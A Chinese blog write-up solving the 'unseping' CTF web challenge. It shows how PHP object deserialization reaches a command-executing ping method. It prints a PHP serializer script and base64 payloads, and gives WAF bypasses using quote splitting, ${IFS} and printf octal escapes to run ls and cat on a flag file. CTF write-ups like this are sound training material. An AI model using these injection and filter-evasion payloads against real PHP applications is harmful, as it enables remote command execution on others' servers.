WEB:unseping

背景知识

        php序列化和反序列化

        命令执行绕过方式

题目

 进行代码审计

可知为反序列化

整体是创建case类,可接受post传来的ctf值

_consturuct函数,是在函数调动前启用,构造了$method和$args两个变量。

_dexstruct函数在变量摧毁的时使用,所以放在后面。该方法监测ping是否在method中,并调用了名为method的方法,且以数组

ping函数规定了可以调用系统命令。该方法的结构为将输入参数作为外部命令进行执行,并返回输出结果。该函数实现了作为一个webshell的基本条件。

waf函数,过滤命令。在变量str中过滤掉\ &  \/ cat flag tac php ls命令。

_wakeup函数,反序列化,将args的值作为变量k赋值给变量v

上述所总,通过$method和_construct来调用构造的ping方法,通过$args作为输入口进行命令的输入

需要添加序列化

<?php
 
class ease{
	private $method;
	private $args;
	function __construct($method, $args) {
	    $this->method = $method;
	    $this->args = $args;
	}
  
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'
';
echo base64_encode($b);
?>

将ease实例化并赋值给变量a,变量a执行系统命令ls。并将a序列化然后赋值给b,输出b,并将b进行base64编码。

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l''s";}}

 经过base64编码后

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==

ls会被过滤掉,有三种方法可以绕过过滤:

空的环境变量

单引号

双引号

将变量b进行编码后的数字用post方法传值得到

发现一个文件夹为flag_1s_here

尝试用ls查看文件夹,但是空格会被过滤,可以使用变量${IFS}进行绕过

O:4:" ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:32:"l${Z}s${IFS}f${Z}lag_1${Z}s_here";}}

编码后为

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCR7Wn1zJHtJRlN9ZiR7Wn1sYWdfMSR7Wn1zX2hlcmUiO319

发现了一个带有flag的php文件,用cat抓取这个文件的源码就可获得flag,但是代码会过滤掉/,之前说的方法不适用于/。

flag,cat,flag,php都可以用双引号绕过,空格用IFS绕过,/要用printf及()绕过。

$(printf "\154\163")=ls

154转化为8进制转化为10进制后正好对应ascii的l

同样163后正好对应s。所以我们可以将cat flag_1s_here/flag_831b69012c67b35f.php先进行ascii编码后在进行8进制转化。

进行编码后

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

得到flag

 

参考学习链接:

【愚公系列】2023年05月 攻防世界-Web(unseping)-腾讯云开发者社区-腾讯云

攻防世界unseping_unseping攻防世界_花名咖啡的博客-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值